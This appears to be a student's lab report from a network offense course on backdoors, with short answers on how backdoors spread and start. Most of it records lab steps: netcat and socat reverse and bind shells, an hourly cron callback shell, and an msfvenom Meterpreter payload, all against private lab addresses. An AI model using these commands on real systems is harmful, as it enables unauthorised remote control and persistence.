2019-2020-2 20175228《网络对抗技术》exp2 后门原理与实践

1.后门

1.例举你能想到的一个后门进入到你系统中的可能方式？

在下载非官网应用程序时，可能会捆绑后门程序。

2.例举你知道的后门如何启动起来(win及linux)的方式？

Win：设置开机自启动项，点击某个特定文件时启动；

Linux：crontab -e 进行编辑，定时启动。

3.Meterpreter有哪些给你映像深刻的功能？

可以获取目标主机的shell，摄像头，音频记录（我说了什么干了什么都知道），击键记录（这个可以获取密码吧）。

4.如何发现自己有系统有没有被安装后门？

安装杀毒软件，定时对系统进行检测；查看任务管理器中有无异常进程。

2.1 Windows获得Linux shell

使用ipconfig查看本机IP

使用nc.exe -l -p 5228打开监听

在kali中使用ncat 192.168.62.132 5228 -e /bin/sh执行shell程序反弹连接Windows

windows成功获得kali的shell

2.2Linux获得Windows shell

在kali中使用ifconfig查看ip

使用nc -l -p5228打开kali的监听

在Windows中使用nc.exe -e cmd.exe 192.168.62.128 5228反弹连接kali

kali成功获得Windows的命令提示

2.3 使用nc传输数据和文件

Windows下使用nc.exe -l -p 5228监听5228端口

kali下使用ncat 192.168.62.132 5228连接5228端口

建立连接之后，传输数据

Windows下使用nc.exe -l -p 5228 > file.out 监听5228端口，并把收到的数据保存到file.out中，kali使用ncat 192.168.62.132 5228 < file.txt反弹连接，建立成功后传输文件

2.4启动cron

Windows系统下监听端口5228，Linux系统下，输入指令crontab -e并选择3进入编辑模式，crontab指令表示增加一条定时任务，-e表示编辑
在最后一行添加24 * * * */netcat 192.168.62.132 5228 -e /bin/sh，表示每个小时的第24分钟执行后面的那条指令。

linux在24分钟时连接Windows，这是一个反弹连接式后门，监听的windows连接后可获得shell

3.使用socat获取主机操作Shell, 任务计划启动

在计算机管理中创建任务，新建操作，在操作中的程序或脚本中选择你的socat.exe文件的路径，在添加参数一栏填写tcp-listen:5228 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到端口5228，同时把cmd.exe的stderr重定向到stdout上；

新建一个触发器；

重新登陆时程序运行，此时在kali 输入指令socat - tcp:192.168.0.111:5228

（由于我的win10虚拟机socat无法启动重新借了一个电脑，IP和前面的不同了）

输入netstat：

2.4使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5228 -f exe > 20175228_backdoor.exe。IP是kali的IP，生成了后门程序20175228_backdoor.exe